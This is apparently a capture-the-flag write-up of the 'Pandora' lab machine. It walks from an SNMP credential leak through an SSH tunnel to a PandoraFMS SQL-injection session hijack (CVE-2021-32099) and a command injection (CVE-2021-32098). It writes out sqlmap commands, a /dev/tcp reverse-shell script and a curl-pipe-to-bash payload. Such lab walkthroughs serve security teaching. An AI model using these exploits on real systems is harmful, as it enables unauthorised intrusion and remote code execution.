Pandora

Overview

Pandora is an easy-difficulty Linux box. The foothold comes from a misconfigured SNMP service exposing the public community string, which leaks the command line of a host-check process — and that command line carries an SSH password in cleartext. From a low-privilege SSH session we discover an internal PandoraFMS v7.0NG.742 console bound to localhost; tunnelling to it over an SSH SOCKS proxy, we chain an unauthenticated SQL injection (CVE-2021-32099) to hijack a privileged session, then an events command-injection (CVE-2021-32098) for a reverse shell and the user flag. This post covers recon through user.

Machine Matrix

Deep SNMP/UDP and vhost enumeration leads to an SSH-tunnelled internal PandoraFMS chained through two named CVEs (SQLi auth-bypass + command injection); broad enum and CVE-heavy with real pivoting effort.

Recon

Port	Service	Notes
22/tcp	OpenSSH 8.2p1 (Ubuntu)	default
80/tcp	Apache httpd 2.4.41	static “Play” landing page
161/udp	SNMP	default public community string

A full TCP scan shows only SSH and HTTP:

nmap -p- --min-rate=1000 -T4 10.10.10.X
nmap -p 22,80 -sC -sV 10.10.10.X

Port 80 is a static marketing site (“PLAY”, an extension of panda.htb) with no useful functionality. The interesting service is on UDP — easy to miss without a UDP scan:

nmap -sU --top-ports 50 10.10.10.X

161/udp open snmp

Enumeration

SNMP on 161/udp is still configured with the default public community string, so the whole MIB is readable without authentication. Walk it:

snmpwalk -v2c -c public 10.10.10.X

The noise is large, but the hrSWRunParameters table (1.3.6.1.2.1.25.4.2.1.5) records the command-line arguments of every running process — and one of them is a host-check script invoked with credentials passed inline:

snmpwalk -v2c -c public 10.10.10.X 1.3.6.1.2.1.25.4.2.1.5

iso.3.6.1.2.1.25.4.2.1.5.1106 = STRING: "-u daniel -p HotelBabylon23"

Passing a password as a CLI argument means it is visible to anyone who can read the process table — and SNMP happily exposes it across the network. The same credentials work over SSH:

ssh [email protected]

As daniel we can see /home/matt/user.txt but cannot read it — so we need to become matt. Enumerating Apache’s vhosts reveals why this box has a static site on port 80 yet is named “Pandora”:

cat /etc/apache2/sites-enabled/pandora.conf

<VirtualHost localhost:80>
    ServerName pandora.panda.htb
    DocumentRoot /var/www/pandora
    AssignUserID matt matt
</VirtualHost>

A second web app — PandoraFMS, running as matt, served only on localhost. We need to reach it from our box.

Foothold

1 — Tunnel to the internal console. Open a dynamic SOCKS proxy over SSH and point the browser (FoxyProxy → SOCKS5 127.0.0.1:9090) through it:

ssh -D 9090 [email protected]

Browsing http://localhost/pandora_console/ lands on the PandoraFMS login page; the footer leaks the version v7.0NG.742_FIX_PERL2020, which is vulnerable to CVE-2021-32099 and CVE-2021-32098.

2 — Unauthenticated SQL injection (CVE-2021-32099). include/chart_generator.php feeds session_id straight into a SQL query with no sanitization, reachable pre-auth. Route sqlmap through the tunnel with proxychains (add socks5 127.0.0.1 9090 to /etc/proxychains4.conf) and dump the sessions table to steal a privileged session token:

proxychains sqlmap -u "http://localhost/pandora_console/include/chart_generator.php?session_id=''" --current-db --batch
proxychains sqlmap -u "http://localhost/pandora_console/include/chart_generator.php?session_id=''" -D pandora -T tsessions_php --dump --batch

The dump maps an id_session to the matt account. Visiting chart_generator.php?session_id=<matt token> and then loading index.php drops us into the console logged in as matt — a complete authentication bypass.

3 — Events command injection for RCE (CVE-2021-32098). As matt we lack file-upload access (so the phar-deserialization path is out), but the events module’s ajax.php passes the target parameter to a shell. Stage a reverse shell and serve it:

printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.X/1337 0>&1\n' > shell.sh
python3 -m http.server 80
nc -lvnp 1337

In Burp (with its SOCKS proxy set to 127.0.0.1:9090 and the matt PHPSESSID cookie), send a POST to /pandora_console/ajax.php. URL-encoding the / in the page value and dropping the command in target triggers execution:

page=include%2fajax%2fevents&perform_event_response=10000000&target=curl+10.10.14.X:80/shell.sh|bash&response_id=1

The target fetches shell.sh and pipes it to bash, and the listener catches a shell as matt. Upgrade and grab the flag:

python3 -c 'import pty;pty.spawn("/bin/bash")'
cat /home/matt/user.txt

[redacted]

A reverse shell as matt and the user flag are ours.

Privilege escalation — a SUID pandora_backup binary vulnerable to $PATH hijacking — is left as an exercise; this post stops at user.

Find more on Patreon